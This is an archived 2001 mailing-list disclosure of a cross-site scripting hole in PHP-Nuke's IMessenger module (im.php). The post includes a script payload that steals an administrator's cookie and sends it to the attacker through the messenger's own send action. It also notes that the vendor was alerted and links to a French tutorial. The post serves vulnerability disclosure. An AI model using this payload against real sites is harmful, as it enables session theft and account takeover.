Security hole in IMessenger ( PHP-Nuke )

From: frog frog (leseulfrogat_private)
Date: Sat Dec 15 2001 - 05:45:29 PST

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     ('binary' encoding is not supported, stored as-is)
    There is a big hole in imessenger (im.php). He 
    accept javascript... if I send
    
    <*s*cript>window.location.href='http://www.
    [SERVER].com/im.php?username_to= [MY_NICK] 
    &subject='+ document.cookie 
    +'&message=message&action=send' ;</script>
    
    (without '*') to the admin, he send his cookie.
    
    PHPNuke has been alerted.
    There's a tut (french) here :
    
    http://balteam.multimania.com/Tuts/imhole.txt
    
    frog-m@n
    



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